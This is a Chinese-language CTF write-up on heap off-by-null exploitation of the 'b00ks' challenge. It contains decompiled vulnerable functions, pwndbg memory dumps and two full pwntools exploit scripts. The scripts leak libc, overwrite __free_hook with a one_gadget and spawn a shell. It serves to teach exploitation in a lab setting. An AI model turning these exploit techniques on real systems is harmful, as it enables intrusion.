怎么说呢,知易行难吧,还是多写一写,多留存一点资料,这会是一个专题,off_by_null的第一部分,这几天不再想做题了,等过一段时间,有空再把后续的部分更新了吧


原理部分:

摘自wiki:

off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括

  • 使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节。
  • 字符串操作不合适

一般需注意栅栏错误和strcopy()

一般来说,单字节溢出被认为是难以利用的,但是因为 Linux 的堆管理机制 ptmalloc 验证的松散性,基于 Linux 堆的 off-by-one 漏洞利用起来并不复杂,并且威力强大。 此外,需要说明的一点是 off-by-one 是可以基于各种缓冲区的,比如栈、bss 段等等,但是堆上(heap based) 的 off-by-one 是 CTF 中比较常见的。我们这里仅讨论堆上的 off-by-one 情况


类型一:

bss段上储存有堆的维护结构体,利用off_bu_null修改上面的结构体。

这种题型,一般只是涉及修改指针,不用需要考虑的free机制比较少

题目:wiki上的b00ks

链接:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/off_by_one/Asis_2016_b00ks

题目没什么奇怪的地方,简单看一下,几个函数的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
__int64 add()
{
int size; // [rsp+0h] [rbp-20h] BYREF
int index; // [rsp+4h] [rbp-1Ch]
void *book; // [rsp+8h] [rbp-18h]
void *name; // [rsp+10h] [rbp-10h]
void *description; // [rsp+18h] [rbp-8h]

size = 0;
printf("\nEnter book name size: ");
__isoc99_scanf("%d", &size);
if ( size < 0 )
goto LABEL_2;
printf("Enter book name (Max 32 chars): ");//其实并没有什么作用
name = malloc(size);
if ( !name )
{
printf("unable to allocate enough space");
goto LABEL_17;
}
if ( reads(name, size - 1) )
{
printf("fail to read name");
goto LABEL_17;
}
size = 0;
printf("\nEnter book description size: ");
__isoc99_scanf("%d", &size);
if ( size < 0 )
{
LABEL_2:
printf("Malformed size");
}
else
{
description = malloc(size);
if ( description )
{
printf("Enter book description: ");
if ( reads(description, size - 1) )
{
printf("Unable to read description");
}
else
{
index = get_index();
if ( index == -1 )
{
printf("Library is full");
}
else
{
book = malloc(0x20uLL);
if ( book )
{
*(book + 6) = size;
*(index_of_book_in_bss + index) = book;
*(book + 2) = description;
*(book + 1) = name;
*book = ++some_size;
return 0LL;
}
printf("Unable to allocate book struct");
}
}
}
else
{
printf("Fail to allocate memory");
}
}
LABEL_17:
if ( name )
free(name);
if ( description )
free(description);
if ( book )
free(book);
return 1LL;
}

在add函数里,其实可以随便选,并没有真正的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall reads(_BYTE *buf, int size_1)
{
int i; // [rsp+14h] [rbp-Ch]

if ( size_1 <= 0 )
return 0LL;
for ( i = 0; ; ++i )
{
if ( read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == '\n' )
break;
++buf;
if ( i == size_1 )
break; // 这之前是没问题的
}
*buf = 0; // 这个会有问题,前面输入的char数已经等于size数了,null byte off-by-one
return 0LL;
}

这里说一下,这种off_by_null的特征(不是一定):

就是循环结束以后,会有以下语句,会将最后写入内容的后一位字节写为0x00

1
*buf = 0;    

在change_an()这里也有同样的漏洞

1
2
3
4
5
6
7
8
__int64 change_an()
{
printf("Enter author name: ");
if ( !reads(anuthor_name, 32) )
return 0LL;
printf("fail to read author_name");
return 1LL;
}

我重点说一下方法一

开始利用:

为了方便理解,先写出准备部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'amd64',os ='linux')
io = process('./b00ks')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
# libc = ELF('./libc-2.23_x64.so')
# io = remote('node3.buuoj.cn',26987)
def debug():
# raw_input()
gdb.attach(io)


def add(size1,name,size2,description):
io.recvuntil("> ")
io.sendline("1")
io.recvuntil("size:")
io.sendline(str(size1))
io.recvuntil("(Max 32 chars):")
io.sendline(name)
io.recvuntil("size:")
io.sendline(str(size2))
io.recvuntil("description:")
io.sendline(str(description))


def edit(index,description):
io.recvuntil("> ")
io.sendline("3")
io.recvuntil("edit:")
io.sendline(str(index))
io.recvuntil("description: ")
io.sendline(description)

def dele(index):
io.recvuntil("> ")
io.sendline("2")
io.recvuntil("delete: ")
io.sendline(str(index))


def show():
io.recvuntil("> ")
io.sendline("4")

def change_Au(Author):
io.recvuntil("> ")
io.sendline("5")
io.recvuntil("name:")
io.sendline(Author)

开始:

先将anthor name(在bss段上)填充完

1
2
3
4

io.recvuntil("Enter author name:")
io.sendline("a"*0x20)

image-20211117180151784

...

1
2
3
4
5
6
7
8
9
pwndbg> x/80gx 0x561d03184000
0x561d03184000: 0x0000000000000000 0x0000561d03184008
0x561d03184010: 0x0000561d03184060 0x0000561d03184040
0x561d03184020: 0x0000000000000000 0x0000000000000000
0x561d03184030: 0x0000000000000000 0x0000000000000000
0x561d03184040: 0x6161616161616161 0x6161616161616161<==
0x561d03184050: 0x6161616161616161 0x6161616161616161
0x561d03184060: 0x0000000000000000 0x0000000000000000
0x561d03184070: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/80gx 0x561d03184000
0x561d03184000: 0x0000000000000000 0x0000561d03184008
0x561d03184010: 0x0000561d03184060 0x0000561d03184040
0x561d03184020: 0x0000000100000000 0x0000000000000000
0x561d03184030: 0x0000000000000000 0x0000000000000000
0x561d03184040: 0x6161616161616161 0x6161616161616161
0x561d03184050: 0x6161616161616161 0x6161616161616161
0x561d03184060: 0x0000561d047f3140 0x0000000000000000<===chunk0的堆管理部分,打印的时候可以把这个对指针一块带出来
0x561d03184070: 0x0000000000000000 0x0000000000000000
0x561d03184080: 0x0000000000000000 0x0000000000000000
0x561d03184090: 0x0000000000000000 0x0000000000000000

Sent 0x2 bytes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
    '4\n'
[DEBUG] Received 0xda bytes:
00000000 49 44 3a 20 31 0a 4e 61 6d 65 3a 20 6e 6e 6e 6e │ID: │1·Na│me: │nnnn│
00000010 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e │nnnn│nnnn│nnnn│nnnn│
00000020 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 6e 0a 44 65 73 │nnnn│nnnn│nnnn│·Des│
00000030 63 72 69 70 74 69 6f 6e 3a 20 64 64 64 64 64 64 │crip│tion│: dd│dddd│
00000040 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 │dddd│dddd│dddd│dddd│
*
000000a0 64 64 64 64 64 64 64 64 64 64 0a 41 75 74 68 6f │dddd│dddd│dd·A│utho│
000000b0 72 3a 20 61 61 61 61 61 61 61 61 61 61 61 61 61 │r: a│aaaa│aaaa│aaaa│
000000c0 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
000000d0 61 61 61 40 31 7f 04 1d 56 0a <===堆地址 │aaa@│1···│V·│
000000da
the heap addr=======>0x561d047f3140

然后我们申请两个稍大的堆块,使得被如果bss段中地址被修改。修改后的堆地址(chunk0的管理堆)指向chunk0的describle部分

再次利用change_au函数出发off_by_null,修改bss段chunk0管理堆地址的低位

1
2
3
4
5
6
7
8
9
pwndbg> x/80gx 0x561d03184000
0x561d03184000: 0x0000000000000000 0x0000561d03184008
0x561d03184010: 0x0000561d03184060 0x0000561d03184040
0x561d03184020: 0x0000000100000000 0x0000000000000000
0x561d03184030: 0x0000000000000000 0x0000000000000000
0x561d03184040: 0x6161616161616161 0x6161616161616161
0x561d03184050: 0x6161616161616161 0x6161616161616161
0x561d03184060: 0x0000561d047f3100 0x0000000000000000<==修改后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> x/80gx 0x561d047f3000
0x561d047f3000: 0x0000000000000000 0x0000000000000000
0x561d047f3010: 0x0000000000000000 0x0000000000000081
0x561d047f3020: 0x6e6e6e6e6e6e6e6e 0x6e6e6e6e6e6e6e6e
0x561d047f3030: 0x6e6e6e6e6e6e6e6e 0x6e6e6e6e6e6e6e6e
0x561d047f3040: 0x0000000000000000 0x0000000000000000
0x561d047f3050: 0x0000000000000000 0x0000000000000000
0x561d047f3060: 0x0000000000000000 0x0000000000000000
0x561d047f3070: 0x0000000000000000 0x0000000000000000
0x561d047f3080: 0x0000000000000000 0x0000000000000000
0x561d047f3090: 0x0000000000000000 0x00000000000000a1
0x561d047f30a0: 0x6464646464646464 0x6464646464646464
0x561d047f30b0: 0x6464646464646464 0x6464646464646464
0x561d047f30c0: 0x6464646464646464 0x6464646464646464
0x561d047f30d0: 0x6464646464646464 0x6464646464646464
0x561d047f30e0: 0x6464646464646464 0x6464646464646464
0x561d047f30f0: 0x6464646464646464 0x6464646464646464
0x561d047f3100: 0x0000000000000001 0x0000561d047f3190<==指向这里,其中的
0x561d047f3110: 0x0000561d047f3400 0x0000000000000fff内容是我们伪造的堆块信息
0x561d047f3120: 0x0000000000000000 0x0000000000000000相当于产生堆重叠,可以修改这两个指针指向
0x561d047f3130: 0x0000000000000000 0x0000000000000031我们期望的地址,实现任意地址读写
0x561d047f3140: 0x0000000000000001 0x0000561d047f3020
0x561d047f3150: 0x0000561d047f30a0 0x0000000000000090
0x561d047f3160: 0x0000000000000000 0x0000000000020ea1
0x561d047f3170: 0x0000000000000000 0x0000000000000000
0x561d047f3180: 0x0000000000000000 0x0000000000000000

这里我写入了__free_hook

1
2
3
4
5
6
7
8
0x562494e44160:	0x0000000000000000	0x0000000000000021
0x562494e44170: 0x0000000000000000 0x0000000000000000
0x562494e44180: 0x0000000000000000 0x0000000000000111chunk2的堆管理结构体
0x562494e44190: 0x00007fcd03c5fb78 0x00007fcd03c5fb78<===__free_hook
0x562494e441a0: 0x0000000000000000 0x0000000000000000
0x562494e441b0: 0x0000000000000000 0x0000000000000000
0x562494e441c0: 0x0000000000000000 0x0000000000000000

完整EXP:

利用任意读写将unsorted bin的libc地址读出来,获得libcbase

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'amd64',os ='linux')
io = process('./b00ks')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
# libc = ELF('./libc-2.23_x64.so')
# io = remote('node3.buuoj.cn',26987)
def debug():
# raw_input()
gdb.attach(io)


def add(size1,name,size2,description):
io.recvuntil("> ")
io.sendline("1")
io.recvuntil("size:")
io.sendline(str(size1))
io.recvuntil("(Max 32 chars):")
io.sendline(name)
io.recvuntil("size:")
io.sendline(str(size2))
io.recvuntil("description:")
io.sendline(str(description))


def edit(index,description):
io.recvuntil("> ")
io.sendline("3")
io.recvuntil("edit:")
io.sendline(str(index))
io.recvuntil("description: ")
io.sendline(description)

def dele(index):
io.recvuntil("> ")
io.sendline("2")
io.recvuntil("delete: ")
io.sendline(str(index))


def show():
io.recvuntil("> ")
io.sendline("4")

def change_Au(Author):
io.recvuntil("> ")
io.sendline("5")
io.recvuntil("name:")
io.sendline(Author)



io.recvuntil("Enter author name:")
io.sendline("a"*0x20)

debug()

add(0x70,'n'*0x20,0x90,'d'*0x70)
show()
io.recvuntil('a'*0x20)
addr = u64(io.recv(6).ljust(8,'\x00'))
print "the heap addr=======>" + hex(addr)
# dele(1)
edit(1,'d'*0x60+p64(0x1)+p64(addr+0x50)+p64(addr+0x2c0)+p64(0xfff))
change_Au("a"*0x20)
# edit(1,'A'*0x20)
add(0x10,'a',0x100,'b')
add(0x10,"/bin/sh;",0x100,'b')

# add(0x100000,'a',0x100000,'b')
dele(2)
show()

io.recvuntil("Name: ")
addr_on_lib = u64(io.recv(6).ljust(8,'\x00'))
print "the addr_on_lib=======>" + hex(addr_on_lib)

offset =0x3c4b78
libcbase = addr_on_lib -offset
# malloc_hook = libcbase + libc.sym["__malloc_hook"]
free_hook = libcbase + libc.sym["__free_hook"]

edit(1,p64(3)+p64(free_hook)+p64(free_hook)+p64(0xfff))
# one = [0x45216,0x4526a,0xf02a4,0xf1147] #on the wiki
one =[0x45226,0x4527a,0xf03a4,0xf1247] #the local
ONE = libcbase + one[1]
edit(3,p64(ONE))

# add(0x10,'a',0x10,'b')
dele(3)
io.interactive()

方法二:

wiki上的

利用申请大堆块,利用manp()函数。新的heap段将会与libc有一个固定的偏移,可以算出libcbase

EXP直接用的wiki上的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#by wiki .
#not used yet
from pwn import *
context.log_level="info"
binary = ELF("b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = process("./b00ks")

def debug():
gdb.attach(io)

def createbook(name_size, name, des_size, des):
io.readuntil("> ")
io.sendline("1")
io.readuntil(": ")
io.sendline(str(name_size))
io.readuntil(": ")
io.sendline(name)
io.readuntil(": ")
io.sendline(str(des_size))
io.readuntil(": ")
io.sendline(des)

def printbook(id):
io.readuntil("> ")
io.sendline("4")
io.readuntil(": ")
for i in range(id):
book_id = int(io.readline()[:-1])
io.readuntil(": ")
book_name = io.readline()[:-1]
io.readuntil(": ")
book_des = io.readline()[:-1]
io.readuntil(": ")
book_author = io.readline()[:-1]
return book_id, book_name, book_des, book_author

def createname(name):
io.readuntil("name: ")
io.sendline(name)

def changename(name):
io.readuntil("> ")
io.sendline("5")
io.readuntil(": ")
io.sendline(name)

def editbook(book_id, new_des):
io.readuntil("> ")
io.sendline("3")
io.readuntil(": ")
io.writeline(str(book_id))
io.readuntil(": ")
io.sendline(new_des)

def deletebook(book_id):
io.readuntil("> ")
io.sendline("2")
io.readuntil(": ")
io.sendline(str(book_id))

createname("A" * 32)
createbook(128, "a", 32, "a")
createbook(0x21000, "a", 0x21000, "b")



book_id_1, book_name, book_des, book_author = printbook(1)
book1_addr = u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:" + hex(book1_addr))

payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
editbook(book_id_1, payload)
changename("A" * 32)

book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,"\x00"))
book2_des_addr = u64(book_des.ljust(8,"\x00"))
log.success("book2 name addr:" + hex(book2_name_addr))
log.success("book2 des addr:" + hex(book2_des_addr))
libc_base = book2_des_addr - 0x5b9010
log.success("libc base:" + hex(libc_base))
debug()

free_hook = libc_base + libc.symbols["__free_hook"]
one_gadget = libc_base + 0x4f322 # 0x4f2c5 0x10a38c 0x4f322
log.success("free_hook:" + hex(free_hook))
log.success("one_gadget:" + hex(one_gadget))
editbook(1, p64(free_hook) * 2)
editbook(2, p64(one_gadget))

deletebook(2)

io.interactive()

后续再更…….

2021-11-17

⬆︎TOP